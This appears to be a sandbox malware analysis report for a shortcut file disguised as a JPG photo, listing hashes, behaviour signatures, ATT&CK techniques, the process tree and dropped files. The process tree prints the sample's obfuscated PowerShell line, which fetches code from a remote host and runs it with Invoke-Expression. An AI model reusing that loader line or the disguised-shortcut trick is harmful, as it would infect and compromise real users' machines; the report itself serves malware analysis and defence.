847d08de5cf9fe8d4f886a8187478eb7f456f06e3077bcd9d4648b04b7d47fbc

Resubmissions

27/08/2026, 09:36

260827-lk3v5a1wc18

27/08/2026, 09:20

260827-la2v3ssdmc8

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/08/2026, 09:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260826_102251.jpg.lnk
Size 1KB
Sample260827-la2v3ssdmc
SHA256 847d08de5cf9fe8d4f886a8187478eb7f456f06e3077bcd9d4648b04b7d47fbc
MD5 e8a6786a78213290e046f24c7749b8f3
SHA1 7b01c1e99827a4021bb05951dde2601513f76917
SHA512 ddcd578cc58cd87f7d2e19edec9d6a3cdf54ac74b0f63fa70902188a7684e9be04c595af172459c1115b0a13d53fbba968388027940e6b00136d0a5142e815d9
TLSH
T1E431AD155BF21229D6B78B3998B663129722BA0ADA458F9F029081949965110F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2564	powershell.exe
12	2564	powershell.exe
16	2564	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2368	cmd.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 2564	2368	cmd.exe	86
PID 2564 wrote to memory of 2108	2564	powershell.exe	88
PID 2108 wrote to memory of 3752	2108	csc.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260826_102251.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-RestMethod (@('e.i','imag','fo','uest','n','photo-g')[5,3,1,0,4,2] -join $cbfFW) | Invoke-Expression
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wajnlbpl\wajnlbpl.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2108
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB9D5.tmp" "c:\Users\Admin\AppData\Local\Temp\wajnlbpl\CSC7F56FECDE4B41B581EF12E0296824D1.TMP"
      4⤵
      PID:3752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESB9D5.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESB9D5.tmp
Size 1KB
SHA256 f59bfadbf494e7cf9d7b66d2abe1e3781f32a11a3fea1a7ea8c3a78ba23f1870
MD5 6a735df16c1621d71856ed09abf40111
SHA1 bcf12e3377482245207a9323989d111a5767b604
SHA512 08ead8c46ac19b39eb8aafa08c7961a1421c24b5206b78e284ce1a763d23ed40dc1d738a4057f2f0bc9906f6b609cbc3fdf1e561cd95e5949d583fcbae0db75a
TLSH
T11221CC0593E94B0AF0770732BDF6132F9278FDA4EF61939A958041281C50100EEB1E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_rdls3o5o.1br.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rdls3o5o.1br.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

wajnlbpl.dll

Path C:\Users\Admin\AppData\Local\Temp\wajnlbpl\wajnlbpl.dll
Size 3KB
SHA256 3b2bdd5c3394f399a31e0ea93b7fc70bf084db91a3f20834fa6fff9d9708b6d7
MD5 813014f3b928027241174a080dae8048
SHA1 c9fe033584075ea623a4891d5d337770bc3b9d6b
SHA512 eee2a77995dba47de21ac9a61e69eec88c830a98a87eb92d6b6d3873a5138065a35b06b80cf7ba8d975ff106265114f18ade7541188fb0edf3af94f1a2df1917
TLSH
T164518B1AA7E8466BE4670734BFF3075727B8F8109FB257A969800229AC607545D31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC7F56FECDE4B41B581EF12E0296824D1.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\wajnlbpl\CSC7F56FECDE4B41B581EF12E0296824D1.TMP
Size 652B
SHA256 1d88de289c62a94d02ef861d37140a62c52fd130800eceaa56ab4a2ee7a261da
MD5 9a1aebd1ce331960d86d8fa40b784128
SHA1 942fde2e6dd5f51ef5f1a93cc75383b3e9b1c247
SHA512 72bf32ac9381bff6005933c63d85a90703b2ea4463223eb0335f90960b8011ce3ca8a8306b7b4238d2f55fc141c4a613cd434ca1bdaf429545a45e711802e8e2
TLSH
T15BF05E4A73F8020EF4F74B30BEF643A795ADBC64DE3293ED2480031968645108972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

wajnlbpl.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\wajnlbpl\wajnlbpl.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

wajnlbpl.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\wajnlbpl\wajnlbpl.cmdline
Size 369B
SHA256 49291239611910cd5e1d479cef364366fc00fe9f1c4a135db6bbd42b2ae68235
MD5 3a10a3b76284b27b7b5beee32864d950
SHA1 23679e524633565f59fb095a3c14a9f231ed48d6
SHA512 37d95a02444f4f97e4cc73f81561baaca879fdcb1565cd1edf84d815ad887d4108355f31eb9be610150f3ca230fc3e02e64318417de62f2b9d6a65d93c3ceff9
TLSH
T143E0C02A42FEC37D01DD240736BDC4ADC272078329807F8450608C0DD09744227F1742
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2564-12-0x00000224FA950000-0x00000224FAB12000-memory.dmp

Download

memory/2564-3-0x00000224F80D0000-0x00000224F80E0000-memory.dmp

Download

memory/2564-9-0x00000224FA1C0000-0x00000224FA1E2000-memory.dmp

Download

memory/2564-2-0x00000224F80D0000-0x00000224F80E0000-memory.dmp

Download

memory/2564-25-0x00000224F80A0000-0x00000224F80A8000-memory.dmp

Download

memory/2564-26-0x00000224F80D0000-0x00000224F80E0000-memory.dmp

Download

memory/2564-28-0x00000224F80D0000-0x00000224F80E0000-memory.dmp

Download

memory/2564-27-0x00000224F80D0000-0x00000224F80E0000-memory.dmp

Download

memory/2564-29-0x00000224FA4F0000-0x00000224FA63E000-memory.dmp

Download

memory/2564-30-0x00000224F80D0000-0x00000224F80E0000-memory.dmp

Download

memory/2564-32-0x00000224FA4F0000-0x00000224FA63E000-memory.dmp

Download

memory/2564-36-0x00000224FA4F0000-0x00000224FA63E000-memory.dmp

Download